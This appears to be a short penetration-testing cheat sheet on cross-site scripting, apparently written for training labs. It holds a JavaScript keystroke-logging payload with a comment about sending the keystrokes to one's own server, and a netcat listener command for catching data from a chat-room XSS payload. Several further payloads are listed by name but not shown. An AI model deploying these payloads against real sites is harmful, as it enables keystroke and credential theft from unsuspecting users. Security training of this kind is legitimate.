githubEdit

Testing for XSS

Basics

  • Cross-site scripting (XSS) is a security vulnerability typically found in web applications. Its a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victims machine.

  • A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.

Stored XX

Key Logger

<script type="text/javascript">
 let l = ""; // Variable to store key-strokes in
 document.onkeypress = function (e) { // Event to listen for key presses
   l += e.key; // If user types, log it to the l variable
   console.log(l); // update this line to post to your own server
 }
</script> 

Chat Room XSS

  • Start a netcat listener on your attack box

nc -nlvp 4444
  • Take this XSS payload and paste it in the chat room and submit:

  • Note: Send the payload and then open the listener

Stored XSS Payloads

  • Stored XSS pop up to display your cookies, good for a POC

  • Adding HTML to a website

  • Deface website title. You will need inspect element and find the name of the element you want to change. thm-title is the element name in this example.

DOM-Based XSS

  • Script to scan and internal network

Last updated